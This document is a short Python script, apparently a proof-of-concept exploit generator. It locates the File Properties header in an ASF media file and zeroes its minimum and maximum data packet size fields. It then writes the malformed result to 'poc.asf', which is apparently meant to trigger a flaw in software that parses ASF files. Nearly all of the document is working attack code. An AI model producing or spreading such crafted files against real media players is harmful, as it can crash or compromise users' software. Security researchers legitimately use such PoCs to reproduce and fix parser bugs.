import sys
from bitstring import BitArray
f = open (sys.argv[ 1 ], 'r+b' )
f.seek( 0 , 2 )
size = f.tell()
print "[*] file size: %d" % size
f.seek( 0 , 0 )
print "[*] ReeeeeWWWWWWiiiiiNNNNNNND"
fb = BitArray(f)
index = fb.find( '0xa1dcab8c47a9cf118ee400c00c205365' ,bytealigned = True )
print "[*] found file properties GUID"
print "[*] File properties GUID: %s" % fb[index[ 0 ]:(index[ 0 ] + 128 )]
i_min_data_pkt_size = index[ 0 ] + 736
print "[*] Original Minimum Data Packet Size: %s" % fb[i_min_data_pkt_size:i_min_data_pkt_size + 32 ]. hex
print "[*] Original Maximum Data Packet Size: %s" % fb[i_min_data_pkt_size + 32 :i_min_data_pkt_size + 64 ]. hex
print "[*] Changing Miniumum and Maximum Data packet size to 0"
fb[i_min_data_pkt_size:i_min_data_pkt_size + 8 ] = 0x00
fb[i_min_data_pkt_size + 8 :i_min_data_pkt_size + 16 ] = 0x00
fb[i_min_data_pkt_size + 16 :i_min_data_pkt_size + 24 ] = 0x00
fb[i_min_data_pkt_size + 24 :i_min_data_pkt_size + 32 ] = 0x00
fb[i_min_data_pkt_size + 32 :i_min_data_pkt_size + 40 ] = 0x00
fb[i_min_data_pkt_size + 40 :i_min_data_pkt_size + 48 ] = 0x00
fb[i_min_data_pkt_size + 48 :i_min_data_pkt_size + 56 ] = 0x00
fb[i_min_data_pkt_size + 56 :i_min_data_pkt_size + 64 ] = 0x00
print "[*] POC File Created poc.asf"
of = open ( 'poc.asf' , 'w+b' )
fb.tofile(of)
of.close()
f.close()
|